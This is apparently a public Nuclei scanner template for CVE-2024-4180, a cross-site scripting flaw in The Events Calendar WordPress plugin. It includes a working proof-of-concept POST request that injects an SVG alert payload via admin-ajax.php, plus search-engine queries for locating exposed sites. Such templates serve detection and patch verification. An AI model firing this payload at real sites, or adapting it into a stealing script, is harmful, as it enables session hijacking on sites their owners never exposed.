The Events Calendar WordPress plugin < 6.4.0.1 contains a stored XSS caused by improper sanitization of user-submitted content when rendering views via AJAX, letting attackers execute scripts in the context of the affected site. Exploitation requires user interaction.
PoC代码[已公开]
id: CVE-2024-4180
info:
name: The Events Calendar < 6.4.0.1 - Cross-site Scripting
author: 0x_Akoko
severity: medium
description: |
The Events Calendar WordPress plugin < 6.4.0.1 contains a stored XSS caused by improper sanitization of user-submitted content when rendering views via AJAX, letting attackers execute scripts in the context of the affected site. Exploitation requires user interaction.
impact: |
Attackers can execute arbitrary scripts in the context of the affected site, leading to potential session hijacking or defacement.
remediation: |
Update to version 6.4.0.1 or later.
reference:
- https://wpscan.com/vulnerability/b2a92316-e404-4a5e-8426-f88df6e87550/
- https://wordpress.org/plugins/the-events-calendar/
- https://nvd.nist.gov/vuln/detail/CVE-2024-4180
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2024-4180
cwe-id: CWE-79
epss-score: 0.32944
epss-percentile: 0.96737
cpe: cpe:2.3:a:stellarwp:the_events_calendar:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: stellarwp
product: the_events_calendar
framework: wordpress
fofa-query: body="wp-content/plugins/the-events-calendar/"
publicwww-query: "/wp-content/plugins/the-events-calendar/"
tags: cve,cve2024,wordpress,wp-plugin,wp,wpscan,the-events-calendar,xss
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=tribe_events_views_v2_fallback&view=reflector&view_data[lala]='<svg alert(document.domain)>'
matchers:
- type: dsl
dsl:
- contains_all(body, '<svg alert(document.domain)>', 'event_display_mode')
- contains(content_type, 'text/html')
- status_code == 200
condition: and
# digest: 490a0046304402201b00add9ea215d0ab77905a63c7a6e47d0429d045c0b5712cacb2f3956c86c6b02205c97f1512f93d0e350802e370b05d5e9fdda518084ad5dc4b7c3d6d53dd0da91:922c64590222798bb761d5b6d8e72950